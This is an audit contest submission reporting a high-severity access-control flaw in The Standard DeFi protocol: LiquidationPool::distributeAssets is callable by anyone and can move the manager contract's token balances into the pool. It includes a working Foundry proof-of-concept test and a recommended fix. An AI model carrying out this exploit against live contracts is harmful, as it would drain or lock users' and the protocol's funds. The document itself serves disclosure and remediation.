The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

The `LiquidationPool::distributeAssets` is external and can cause loss of funds for users and the protocol

DarkTower

Summary

The LiquidationPool::distributeAssets function is externally accessible and can be exploited to extract any tokens (EUROs included) from the LiquidationPoolManager contract, potentially leading to the loss of funds for users and the protocol itself.

Vulnerability Details

The LiquidationPool::distributeAssets function takes an array of ILiquidationPoolManager.Asset objects and distributes assets based on the stake of each holder in the pool. The main source of rewards are sent to the contract LiquidationPoolManager after liquidation. Usually after running the function LiquidationPoolManager::runLiquidation. However, tokens can come from other sources (e.g., mint and burn from vaults, fees from swaps) including both ITokenManager(manager.tokenManager()).getAcceptedTokens() and EUROs.
A malicious actor can deposit both TST and EUROs in LiquidationPool contract. Using a bot that checks if the balance of LiquidationPoolManager then calls LiquidationPool::distributeAssets everytime the Manager has tokens. He can also use a large deposit amount of tokens (using mechanisms like flash loans) and then trigger LiquidationPool::distributeAssets. The issue is double :

  • Tokens (other than EUROs) that are sent to the LiquidationPoolManager contract via means other than liquidations mostly via (swaps fees + direct wallet transfers) will be direclty claimed rather than following the process of the LiquidationPoolManager::runLiquidation function.

  • Euros tokens are sent to the LiquidationPoolManager contract via (mint + burn + direct transfers) in the Vaults and are a signficant source of revenue to the protocol and LiquidationPool stakers. Also according to sponsor Euros are not among the acceptedTokens ITokenManager(manager.tokenManager()).getAcceptedTokens(). Even so, the attacker can still add this token to the ILiquidationPoolManager.Asset array, run the function LiquidationPool::distributeAssets then force send all LiquidationPoolManager Euros contract balance to the LiquidationPool contract. This balance will be added to the holder rewards depending on their stake. But since Euros token will not be added to the acceptedTokens. The holders cannot effectively claim their Euros rewards. Which means that tokens sent will be effectively locked in the LiquidationPool contract.

The attacker can do this everytime the balance of LiquidationPoolManager in any token increases. Since all Euros token would be sent to the LiquidationPool, this not only prevent holders from getting any additional fees from the LiquidationPoolManager::distributeFees function but prevents the LiquidationPoolManager.protocol() EOA address from getting paid as it should be from this line :

function distributeFees() public {
IERC20 eurosToken = IERC20(EUROs);
uint256 _feesForPool = eurosToken.balanceOf(address(this)) * poolFeePercentage / HUNDRED_PC;
if (_feesForPool > 0) {
eurosToken.approve(pool, _feesForPool);
LiquidationPool(pool).distributeFees(_feesForPool);
}
@> eurosToken.transfer(protocol, eurosToken.balanceOf(address(this)));
}

Proof of concept :

The following test demonstrates the attack. You can execute it using forge test --mt testCallDistributeAssetsWithoutLiquidate -vv

code
function testCallDistributeAssetsWithoutLiquidate() public {
// We assume that other users have already staken their amounts
vm.startPrank(user2);
TST.approve(address(liquidationPool), 100000 ether);
EUROs.approve(address(liquidationPool), 100000 ether);
​
liquidationPool.increasePosition(100000 ether, 100000 ether);
vm.stopPrank();
​
vm.startPrank(user3);
TST.approve(address(liquidationPool), 100000 ether);
EUROs.approve(address(liquidationPool), 100000 ether);
​
liquidationPool.increasePosition(100000 ether, 100000 ether);
vm.stopPrank();
​
// User1 deposits a certain amount then calls distributeAssets. The amount can be big or small, the idea is not to showcase their earnings but their ability to prevent protocol and other users from earning additional Euros.
​
vm.startPrank(user1);
TST.approve(address(liquidationPool), 3000 ether);
EUROs.approve(address(liquidationPool), 3000 ether);
​
liquidationPool.increasePosition(3000 ether, 3000 ether);
​
vm.stopPrank();
​
vm.warp(block.timestamp + 2 days);
​
// We assume that the Manager holdings have increased after different operations in the Vaults (eg. mint/burn, swaps, transfers ...)
WBTC.mint(address(liquidationPoolManager), 100 ether);
USDC.mint(address(liquidationPoolManager), 100 ether);
EUROs.mint(address(liquidationPoolManager), 10000 ether);
​
// The attacker recreates the Asset array. Not only does he add the acceptedTokens from the TokenManager but also the Euros token address and details.
vm.startPrank(user1);
TokenManagerMock.Token[] memory tokens = tokenManager.getAcceptedTokens();
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](tokens.length + 1);
assets[0] = ILiquidationPoolManager.Asset(tokens[0], address(liquidationPoolManager).balance);
assets[1] =
ILiquidationPoolManager.Asset(tokens[1], IERC20(tokens[1].addr).balanceOf(address(liquidationPoolManager)));
assets[2] =
ILiquidationPoolManager.Asset(tokens[2], IERC20(tokens[2].addr).balanceOf(address(liquidationPoolManager)));
ITokenManager.Token memory euroToken = ITokenManager.Token("EUROs", address(EUROs), 18, address(eurUsd), 8);
assets[3] =
ILiquidationPoolManager.Asset(euroToken, IERC20(address(EUROs)).balanceOf(address(liquidationPoolManager)));
​
uint256 balanceBeforeEuroLiquidationPoolManager = IERC20(address(EUROs)).balanceOf(address(liquidationPoolManager));
// The attacker then calls the distributeAssets
liquidationPool.distributeAssets(assets, DEFAULT_COLLATERAL_RATE, 1e5);
​
vm.stopPrank();
​
uint256 balanceAfterEuroLiquidationPoolManager = IERC20(address(EUROs)).balanceOf(address(liquidationPoolManager));
​
​
// Check that the Euro balance of Manager has been almost wiped out
assertEq(balanceBeforeEuroLiquidationPoolManager, 10000 ether);
assertLt(balanceAfterEuroLiquidationPoolManager, 10);
​
// console.log("ETH balance : ", address(user1).balance);
// console.log("Token1 : ", IERC20(tokens[1].addr).balanceOf(address(user1)));
// console.log("Token2 : ", IERC20(tokens[2].addr).balanceOf(address(user1)));
// console.log("TST : ", TST.balanceOf(address(user1)));
// console.log("EUROS : ", EUROs.balanceOf(address(user1)));
​
// tokenManager.addAcceptedToken(address(EUROs), address(eurUsd));
​
console.log("****************************************");
​
// User can claim rewards expect Euros which will be stuck or burned in LiquidationPool contract
vm.prank(user1);
liquidationPool.claimRewards();
​
// console.log("ETH balance : ", address(user1).balance);
// console.log("Token1 : ", IERC20(tokens[1].addr).balanceOf(address(user1)));
// console.log("Token2 : ", IERC20(tokens[2].addr).balanceOf(address(user1)));
// console.log("TST : ", TST.balanceOf(address(user1)));
// console.log("EUROS : ", EUROs.balanceOf(address(user1)));
​
// console.log("****************************************");
​
// console.log("balance: ", IERC20(address(EUROs)).balanceOf(address(liquidationPoolManager)));
// console.log("balance: ", IERC20(address(EUROs)).balanceOf(address(liquidationPool)));
}

Impact

  • Rewards intended for legitimate liquidation events can be claimed.

  • Loss of funds, all Euros will be locked or burned in the LiquidationPool contract and preventing both the protocol EOA and stakers from earning fees

Tools Used

Manual review + foundry testing

Recommendations

Add the onlyManager modifier to the LiquidationPool::distributeAssets function.

Updates

Lead Judging Commences

hrishibhat Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!